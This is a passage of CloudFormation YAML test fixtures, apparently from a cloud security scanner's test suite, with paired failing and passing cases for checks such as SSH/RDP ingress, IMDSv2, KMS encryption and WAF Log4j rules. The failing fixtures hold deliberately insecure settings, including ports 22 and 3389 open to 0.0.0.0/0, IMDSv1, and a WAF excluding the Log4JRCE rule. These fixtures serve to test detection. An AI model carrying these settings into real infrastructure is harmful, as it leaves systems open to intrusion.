Effect: 'Allow' Principal: Service: 'sagemaker.amazonaws.com' Action: 'sts:AssumeRole' Policies: - PolicyName: 'SageMakerExecutionPolicy' PolicyDocument: Version: '2012-10-17' Statement: - Effect: 'Allow' Action: - 's3:GetObject' - 's3:PutObject' Resource: 'arn:aws:s3:::your-s3-bucket-name/*' SageMakerModelPass: Type: 'AWS::SageMaker::Model' Properties: ModelName: 'ExampleSageMakerModel' ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn PrimaryContainer: Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest' Mode: 'SingleModel' ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz' EnableNetworkIsolation: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerNotebookEncryptedWithCMK/template.yaml ================================================ Resources: BasicNotebookInstancePASS: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: "!GetAtt ExecutionRole.Arn" KmsKeyId: "bla bla" BasicNotebookInstanceFAIL: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: "!GetAtt ExecutionRole.Arn" BasicDomainPASS: Metadata: cfn-lint: config: ignore_checks: - E3002 - E3030 - E3003 Type: "AWS::SageMaker::Domain" Properties: InstanceType: "ml.t2.large" RoleArn: "!GetAtt ExecutionRole.Arn" KmsKeyId: "bla bla" BasicDomainFAIL: Metadata: cfn-lint: config: ignore_checks: - E3002 - E3030 - E3003 Type: "AWS::SageMaker::Domain" Properties: InstanceType: "ml.t2.large" RoleArn: "!GetAtt ExecutionRole.Arn" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerNotebookInstanceAllowsIMDSv2/SagemakerNotebookInstanceAllowsIMDSv2-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: "Create basic notebook instance" Resources: BasicNotebookInstanceFail1: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn InstanceMetadataServiceConfiguration: MinimumInstanceMetadataServiceVersion: "1" BasicNotebookInstanceFail2: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn ExecutionRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" Path: "/" ManagedPolicyArns: - !Sub "arn:${AWS::Partition}:iam::aws:policy/AmazonSageMakerFullAccess" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerNotebookInstanceAllowsIMDSv2/SagemakerNotebookInstanceAllowsIMDSv2-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: "Create basic notebook instance" Resources: BasicNotebookInstancePass: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn InstanceMetadataServiceConfiguration: MinimumInstanceMetadataServiceVersion: "2" ExecutionRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" Path: "/" ManagedPolicyArns: - !Sub "arn:${AWS::Partition}:iam::aws:policy/AmazonSageMakerFullAccess" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecretManagerSecretEncrypted/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: NoKMS: Type: AWS::SecretsManager::Secret Properties: Name: test AWSKMS0: Type: AWS::SecretsManager::Secret Properties: Name: test KmsKeyId: aws/secretsmanager AWSKMS1: Type: AWS::SecretsManager::Secret Properties: Name: test KmsKeyId: alias/aws/secretsmanager ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecretManagerSecretEncrypted/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyCMK: Type: AWS::SecretsManager::Secret Properties: Name: test KmsKeyId: test-key ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED-2.yaml ================================================ Parameters: HTTPSLocation: Description: The IP address range that can be used to connect via HTTPS Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InboundRule: Type: 'AWS::EC2::SecurityGroupIngress' Properties: GroupId: sg-87654321 IpProtocol: tcp FromPort: 80 ToPort: 80 CidrIp: !Ref 'HTTPSLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED-3.yaml ================================================ Resources: OutboundRule: Type: 'AWS::EC2::SecurityGroupEgress' Properties: GroupId: sg-87654321 IpProtocol: tcp FromPort: 443 ToPort: 443 DestinationSecurityGroupId: sg-12345678 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED.yaml ================================================ Parameters: HTTPSLocation: Description: The IP address range that can be used to connect via HTTPS Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: HTTPS security group SecurityGroupIngress: - IpProtocol: tcp FromPort: 443 ToPort: 443 CidrIp: !Ref 'HTTPSLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-2.yaml ================================================ Parameters: HTTPSLocation: Description: The IP address range that can be used to connect via HTTPS Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InboundRule: Type: 'AWS::EC2::SecurityGroupIngress' Properties: Description: HTTPS Ingress GroupId: sg-87654321 IpProtocol: tcp FromPort: 443 ToPort: 443 CidrIp: !Ref 'HTTPSLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-3.yaml ================================================ Resources: OutboundRule: Type: 'AWS::EC2::SecurityGroupEgress' Properties: Description: HTTPS Egress GroupId: sg-87654321 IpProtocol: tcp FromPort: 443 ToPort: 443 DestinationSecurityGroupId: sg-12345678 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-4.yaml ================================================ Parameters: HTTPSLocation: Description: The IP address range that can be used to connect via HTTPS Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: HTTPS security group SecurityGroupIngress: None ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED.yaml ================================================ Parameters: HTTPSLocation: Description: The IP address range that can be used to connect via HTTPS Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: HTTPS security group SecurityGroupIngress: - Description: 'HTTPS Ingress' IpProtocol: tcp FromPort: 443 ToPort: 443 CidrIp: !Ref 'HTTPSLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupQuotes-FAILED.yaml ================================================ Resources: DemoSecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: VpcId: vpc-000000 #dummy vpc id GroupDescription: SG to allow SSH access via port 22 SecurityGroupIngress: - Description: fail quotes IpProtocol: tcp FromPort: '22' ToPort: '22' CidrIp: "0.0.0.0/0" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupRange-FAILED.yaml ================================================ Resources: DemoSecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: VpcId: vpc-000000 #dummy vpc id GroupDescription: SG to allow SSH access via port 22 SecurityGroupIngress: - Description: fail range IpProtocol: tcp FromPort: '21' ToPort: '23' CidrIp: "0.0.0.0/0" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupRangeInvalid-PASSED.yaml ================================================ Resources: DemoSecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: VpcId: vpc-000000 #dummy vpc id GroupDescription: SG to allow SSH access via port 22 SecurityGroupIngress: - Description: range inverted IpProtocol: tcp FromPort: '23' ToPort: '21' CidrIp: "0.0.0.0/0" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED-2.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '::/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIpv6: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED-3.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '0000:0000:0000:0000:0000:0000:0000:0000/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIpv6: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-PASSED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 10.10.10.0/24 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-UNKNOWN.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '::/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: 'hello22' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-FAILED-2.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '::/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 3389 ToPort: 3389 CidrIpv6: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-FAILED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 3389 ToPort: 3389 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-PASSED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 10.10.10.0/24 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 3389 ToPort: 3389 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED-2.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '::/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 80 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 80 ToPort: 80 CidrIpv6: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED-3.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '0000:0000:0000:0000:0000:0000:0000:0000/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 80 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 80 ToPort: 80 CidrIpv6: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 0.0.0.0/0 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 80 ToPort: 80 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-PASSED.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String MinLength: 9 MaxLength: 18 Default: 10.10.10.0/24 AllowedPattern: (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2}) ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x. Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 80 SecurityGroupIngress: - Description: SSH Ingress IpProtocol: tcp FromPort: 80 ToPort: 80 CidrIp: !Ref 'SSHLocation' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-UNKNOWN.yaml ================================================ Description: Security Group Example Parameters: SSHLocation: Description: The IP address range that can be used to SSH to the EC2 instances Type: String Default: '::/0' Resources: InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 80 SecurityGroupIngress: 'hello80' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_TimestreamDatabaseKMSKey/TimestreamDatabaseKMSKey-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: TimestreamDatabaseDefault: Type: AWS::Timestream::Database Properties: DatabaseName: timestream ================================================ FILE: tests/cloudformation/checks/resource/aws/example_TimestreamDatabaseKMSKey/TimestreamDatabaseKMSKey-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: TimestreamDatabaseEnabled: Type: AWS::Timestream::Database Properties: DatabaseName: timestream KmsKeyId: kms-key-id ================================================ FILE: tests/cloudformation/checks/resource/aws/example_TransferServerIsPublic/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: PUBLIC: Type: AWS::Transfer::Server Properties: EndpointType: "PUBLIC" NONE: Type: AWS::Transfer::Server ================================================ FILE: tests/cloudformation/checks/resource/aws/example_TransferServerIsPublic/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: VPC: Type: AWS::Transfer::Server Properties: EndpointType: "VPC" VPCENDPOINT: Type: AWS::Transfer::Server Properties: EndpointType: "VPC_ENDPOINT" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_VPCEndpointAcceptanceConfigured/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FailDefault: Type: AWS::EC2::VPCEndpointService FailExplicit: Type: AWS::EC2::VPCEndpointService Properties: AcceptanceRequired: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_VPCEndpointAcceptanceConfigured/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::EC2::VPCEndpointService Properties: AcceptanceRequired: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WAFACLCVE202144228/FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: NoRule: Type: AWS::WAFv2::WebACL Properties: Name: 'example-webacl' DefaultAction: Allow: { } Scope: REGIONAL VisibilityConfig: SampledRequestsEnabled: false MetricName: ExampleWebACLMetric CloudWatchMetricsEnabled: false WrongRule: Type: AWS::WAFv2::WebACL Properties: Name: 'example-webacl' DefaultAction: Allow: { } Scope: REGIONAL VisibilityConfig: SampledRequestsEnabled: false MetricName: ExampleWebACLMetric CloudWatchMetricsEnabled: false Rules: - Name: rule-1 Priority: 1 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesAnonymousIpList OverrideAction: None: { } VisibilityConfig: CloudWatchMetricsEnabled: false MetricName: AWSManagedRulesKnownBadInputsRuleSet SampledRequestsEnabled: false RuleCount: Type: AWS::WAFv2::WebACL Properties: Name: 'example-webacl' DefaultAction: Allow: { } Scope: REGIONAL VisibilityConfig: SampledRequestsEnabled: false MetricName: ExampleWebACLMetric CloudWatchMetricsEnabled: false Rules: - Name: rule-1 Priority: 1 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesKnownBadInputsRuleSet ExcludedRules: - Name: Log4JRCE OverrideAction: None: { } VisibilityConfig: CloudWatchMetricsEnabled: false MetricName: AWSManagedRulesKnownBadInputsRuleSet SampledRequestsEnabled: false RuleGroupCount: Type: AWS::WAFv2::WebACL Properties: Name: 'example-webacl' DefaultAction: Allow: { } Scope: REGIONAL VisibilityConfig: SampledRequestsEnabled: false MetricName: ExampleWebACLMetric CloudWatchMetricsEnabled: false Rules: - Name: rule-1 Priority: 1 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesKnownBadInputsRuleSet OverrideAction: Count: { } VisibilityConfig: CloudWatchMetricsEnabled: false MetricName: AWSManagedRulesKnownBadInputsRuleSet SampledRequestsEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WAFACLCVE202144228/PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: Pass: Type: AWS::WAFv2::WebACL Properties: Name: 'example-webacl' DefaultAction: Allow: { } Scope: REGIONAL VisibilityConfig: SampledRequestsEnabled: false MetricName: ExampleWebACLMetric CloudWatchMetricsEnabled: false Rules: - Name: rule-1 Priority: 1 Statement: ManagedRuleGroupStatement: VendorName: AWS Name: AWSManagedRulesKnownBadInputsRuleSet ExcludedRules: - Name: Host_localhost_HEADER - Name: PROPFIND_METHOD - Name: ExploitablePaths_URIPATH OverrideAction: None: { } VisibilityConfig: CloudWatchMetricsEnabled: false MetricName: AWSManagedRulesKnownBadInputsRuleSet SampledRequestsEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WAFEnabled/WAFEnabled-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MyCloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: Enabled: True DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 ForwardedValues: Cookies: Forward: none QueryString: false MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin ViewerProtocolPolicy: 'https-only' Origins: - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WAFEnabled/WAFEnabled-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MyCloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: Enabled: True DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 ForwardedValues: Cookies: Forward: none QueryString: false MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin ViewerProtocolPolicy: 'https-only' Origins: - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity' Logging: Bucket: myawslogbucket.s3.amazonaws.com WebACLId: arn:aws:wafv2:us-east-1:123456789012:global/webacl/ExampleWebACL/473e64fd-f30b-4765-81a0-62ad96dd167a ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WorkspaceRootVolumeEncrypted/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FailDefault: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 FailExplicit: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 RootVolumeEncryptionEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WorkspaceRootVolumeEncrypted/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 RootVolumeEncryptionEnabled: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WorkspaceUserVolumeEncrypted/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FailDefault: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 FailExplicit: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 UserVolumeEncryptionEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_WorkspaceUserVolumeEncrypted/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::WorkSpaces::Workspace Properties: UserName: test BundleId: wsb-abc123456 DirectoryId: d-abc123456 UserVolumeEncryptionEnabled: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk' Parameters: S3Bucket: Type: String Description: Name of an S3 bucket to contain your website Default: 'mytestbucket' Resources: # Create the bucket to contain the website HTML #S3Bucket: # Type: 'AWS::S3::Bucket' # Properties: # BucketName: !Sub 'website-${AWS::AccountId}' # AccessControl: PublicRead # WebsiteConfiguration: # IndexDocument: index.html # ErrorDocument: 404.html # DeletionPolicy: Retain # Configure the bucket as a CloudFront Origin BucketPolicy: Type: 'AWS::S3::BucketPolicy' Properties: Bucket: !Ref S3Bucket PolicyDocument: Statement: - Action: 's3:GetObject' Effect: Allow Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*' Principal: CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId CloudFrontOriginAccessIdentity: Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity' Properties: CloudFrontOriginAccessIdentityConfig: Comment: !Ref S3Bucket sampleApplication: Type: AWS::ElasticBeanstalk::Application Properties: Description: AWS Elastic Beanstalk Sample Application sampleApplicationVersion: Type: AWS::ElasticBeanstalk::ApplicationVersion Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Application Version SourceBundle: S3Bucket: !Sub "elasticbeanstalk-samples-${AWS::Region}" S3Key: php-newsample-app.zip sampleConfigurationTemplate: Type: AWS::ElasticBeanstalk::ConfigurationTemplate Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Configuration Template OptionSettings: - Namespace: aws:autoscaling:asg OptionName: MinSize Value: '2' - Namespace: aws:autoscaling:asg OptionName: MaxSize Value: '6' - Namespace: aws:elasticbeanstalk:environment OptionName: EnvironmentType Value: LoadBalanced SolutionStackName: solution-stack sampleEnvironment: Type: AWS::ElasticBeanstalk::Environment Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Environment TemplateName: Ref: sampleConfigurationTemplate VersionLabel: Ref: sampleApplicationVersion CloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: CustomErrorResponses: - ErrorCode: 403 # not found ResponseCode: 404 ResponsePagePath: '/404.html' DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 # in seconds ForwardedValues: Cookies: Forward: none QueryString: false # MinTTL/MaxTTL in seconds MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin ViewerProtocolPolicy: 'allow-all' #ViewerProtocolPolicy: 'https-only' DefaultRootObject: 'index.html' Enabled: true HttpVersion: http2 Origins: #- DomainName: !GetAtt 'S3Bucket.DomainName' - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}' - Id: customorigin DomainName: !GetAtt [sampleEnvironment, EndpointURL] CustomOriginConfig: OriginProtocolPolicy: match-viewer CacheBehaviors: - TargetOriginId: customorigin ForwardedValues: QueryString: false ViewerProtocolPolicy: https-only #ViewerProtocolPolicy: allow-all MinTTL: 500 PathPattern: '*.jpg' PriceClass: 'PriceClass_All' Outputs: BucketName: Description: 'S3 Bucket Name' Value: !Ref S3Bucket DistributionId: Description: 'CloudFront Distribution ID' Value: !Ref CloudFrontDistribution Domain: Description: 'Cloudfront Domain' Value: !GetAtt CloudFrontDistribution.DomainName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk' Parameters: S3Bucket: Type: String Description: Name of an S3 bucket to contain your website Default: 'mytestbucket' Resources: # Create the bucket to contain the website HTML #S3Bucket: # Type: 'AWS::S3::Bucket' # Properties: # BucketName: !Sub 'website-${AWS::AccountId}' # AccessControl: PublicRead # WebsiteConfiguration: # IndexDocument: index.html # ErrorDocument: 404.html # DeletionPolicy: Retain # Configure the bucket as a CloudFront Origin BucketPolicy: Type: 'AWS::S3::BucketPolicy' Properties: Bucket: !Ref S3Bucket PolicyDocument: Statement: - Action: 's3:GetObject' Effect: Allow Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*' Principal: CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId 